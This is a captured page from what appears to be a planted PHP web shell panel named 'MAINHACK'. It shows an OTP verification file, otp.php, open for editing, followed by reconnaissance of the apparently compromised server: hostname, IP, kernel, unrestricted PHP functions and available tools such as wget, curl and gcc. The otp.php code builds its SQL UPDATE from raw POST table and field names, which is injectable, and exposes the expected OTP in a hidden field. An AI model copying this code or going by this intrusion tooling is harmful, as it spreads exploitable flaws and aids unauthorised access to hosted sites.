[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: otp.php
<?php include('header.php'); $m=base64_decode($_REQUEST['m']); $otp=base64_decode($_REQUEST['id']); $table=base64_decode($_REQUEST['tab']); ?> <!-- soon --> <div class="otp-pe"> <div class="container"> <div class="row"> <div class="col-lg-3 col-md-3 col-sm-3 col-xs-12"></div> <div class="col-lg-6 col-md-6 col-sm-6 col-xs-12"> <div class="registration-right aos-init aos-animate" data-aos="fade-left" style="transition:all 1500ms ease-in-out;"> <form method="post" id="form"> <input type="hidden" name="otp" value="<?=$otp?>" placeholder="OTP"> <input type="hidden" name="table" value="client"> <input type="hidden" name="field_name" value="email" > <input type="hidden" name="field_value" value="<?=$m?>"> <div class="row"> <div class="col-md-12"> <?php //echo md5('qwerty'); ?> <div class="form-left-to-w3l " id="b_name"> <label><i class="fa fa-edit"></i> Confirm <b style="color: #00a5ff;">OTP</b></label> <input type="text" name="otp_new" class="form-control form-control-lg" placeholder="Enter new OTP" aria-label="OTP" aria-describedby="basic-addon1" required=""> <input type="submit" name="sub" value="Verify"> <!--<a href="#">Resend</a>--> </div> </div> </div> </form> <?php if(isset($_POST['sub'])){ if($_POST['otp']==$_POST['otp_new']){ $sq="update ".$_POST['table']." set status='ACTIVE' where ".$_POST['field_name']."='".$_POST['field_value']."'"; $stmt=$con->prepare($sq); $r=$stmt->execute(); echo '<script> swal({ title: "Thank You!", text: "Your account is verified. You can login now", type: "success" }) .then((willDelete) => { if (willDelete) { swal("You will be redirected to Login page"); window.location = "login.php"; } }); </script>'; }else{ echo "<script>sweetAlert('Oops!','OTP mismatched.Please verify otp.','error');</script>"; } } ?> </div> </div> <div class="col-lg-3 col-md-3 col-sm-3 col-xs-12"></div> </div> </div> </div> <?php include('footer.php');?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 678.04 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619